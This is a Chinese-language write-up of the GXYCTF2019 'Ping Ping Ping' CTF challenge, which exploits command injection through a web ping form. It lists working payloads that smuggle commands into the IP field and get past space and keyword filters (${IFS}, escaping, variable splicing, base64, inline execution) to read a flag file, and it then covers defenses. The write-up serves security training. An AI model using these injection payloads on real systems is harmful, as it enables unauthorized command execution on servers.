1. 题目背景与核心考察点
这道来自GXYCTF2019的题目名为"Ping Ping Ping",是典型的命令注入类CTF挑战。题目通过一个模拟的ping功能界面,考察选手对Linux命令注入漏洞的利用能力。这类题目在BUUCTF平台中属于基础题型,但往往能有效检验选手对系统命令和过滤绕过的理解深度。
在真实渗透测试场景中,命令注入漏洞常出现在Web应用调用系统命令执行功能时(如ping、traceroute、whois等网络工具),当用户输入未经严格过滤就直接拼接至系统命令中,攻击者就能通过精心构造的输入执行任意命令。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 初始环境探测与功能分析
首先访问题目提供的Web界面,通常会出现一个简单的输入框,提示输入IP地址进行ping测试。基础尝试是输入127.0.0.1,观察返回结果:
code复制$ ping -c 3 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.047 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.067 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.079 ms
这表明后端确实调用了系统ping命令。接下来尝试命令注入的基本payload:
code复制127.0.0.1; ls
如果返回错误或没有预期结果,说明存在过滤机制。这是CTF题目的常见设计模式——需要找到绕过过滤的方法。
3. 常见过滤机制与绕过技术
3.1 空格过滤绕过
当空格被过滤时,可用以下替代方案:
${IFS}:Linux中的内部字段分隔符$IFS$9:$9是当前脚本的第9个参数,常为空,组合使用等效空格<、>:重定向符号在某些上下文可作分隔符%09:URL编码的tab字符
测试payload:
code复制127.0.0.1;cat${IFS}flag.php
3.2 关键词过滤绕过
题目可能过滤flag、cat等关键词,可尝试:
- 使用通配符:
fla*、ca? - 反斜杠转义:
c\at、fl\ag - 变量拼接:
a=fl;b=ag;cat $a$b - 使用替代命令:
tac、more、less、head、tail - 编码转换:
echo 'ZmxhZw==' | base64 -d
3.3 分号与命令分隔符绕过
如果分号被过滤,可尝试:
&:后台执行&&:前命令成功则执行后命令|:管道符%0a:URL编码的换行符
4. 本题具体解法与步骤
根据题目名称提示和常见出题思路,本题很可能需要多层绕过。以下是典型解法流程:
4.1 第一步:探测过滤规则
输入基本payload观察反应:
code复制127.0.0.1; ls
若返回"no space"之类提示,说明空格被过滤。改用:
code复制127.0.0.1;ls
若返回"no special chars",可能过滤分号。尝试:
code复制127.0.0.1%0als
4.2 第二步:查看目录内容
成功绕过空格过滤后:
code复制127.0.0.1;ls${IFS}-al
常见返回:
code复制total 12
drwxr-xr-x 1 root root 4096 Mar 28 2019 .
drwxr-xr-x 1 root root 4096 Mar 28 2019 ..
-rw-r--r-- 1 root root 43 Mar 28 2019 flag.php
-rw-r--r-- 1 root root 392 Mar 28 2019 index.php
4.3 第三步:读取flag文件
尝试直接读取:
code复制127.0.0.1;cat${IFS}flag.php
若返回"no flag"提示,说明关键词被过滤。改用:
code复制127.0.0.1;ca\t${IFS}fla\g.php
或使用变量拼接:
code复制127.0.0.1;a=fl;b=ag;cat${IFS}$a$b.php
4.4 第四步:获取flag内容
成功绕过后的响应通常包含:
code复制<?php $flag="flag{this_is_sample_flag}"; ?>
5. 进阶绕过技巧与原理
5.1 内联执行绕过
当多级过滤存在时,可使用$()或``进行内联执行:
code复制127.0.0.1;cat$(echo${IFS}"fla"${IFS}"g.php")
5.2 编码绕过技术
使用base64编码避免直接出现关键词:
code复制127.0.0.1;echo${IFS}"ZmxhZy5waHA="|base64${IFS}-d|xargs${IFS}cat
5.3 正则过滤的对抗
如果过滤采用正则匹配,可利用以下特性:
- 使用换行符分割关键词:
fl\ag - 利用变量扩展:
${substr(0,1)}(需环境支持) - 非常用编码:
$(printf "\x66\x6c\x61\x67")
6. 防御方案与安全实践
作为开发者,应避免直接拼接用户输入到系统命令中。安全实践包括:
6.1 输入验证
- 白名单验证:只允许数字、点和冒号(IPv4/IPv6格式)
- 正则匹配:
/^[0-9.]+$/或/^[0-9a-fA-F:.]+$/
6.2 安全API使用
- 使用编程语言自带的ping库而非系统命令
- PHP示例:
fsockopen()代替exec("ping")
6.3 最小权限原则
- Web服务以低权限用户运行
- 使用chroot等隔离技术
6.4 日志与监控
- 记录所有命令执行
- 设置异常行为告警
7. 相关工具与扩展学习
7.1 命令注入测试工具
- Commix:自动化命令注入检测工具
- Burp Suite的Intruder模块:用于fuzz测试
7.2 进阶学习资源
- OWASP Command Injection备忘单
- Linux Bash特殊字符与扩展语法
- 无字母数字webshell构造技术
7.3 类似CTF题目推荐
- [NCTF2019]Fake XML cookbook
- [De1CTF2019]SSRF Me
- [0CTF/TCTF2019]Wallbreaker Easy
在实际渗透测试中,命令注入漏洞的危害等级通常很高,可导致完全的系统沦陷。理解这些绕过技术不仅对CTF比赛有帮助,更能提升真实世界的安全防御能力。建议在可控环境中练习这些技术,切勿在未授权系统上进行测试。
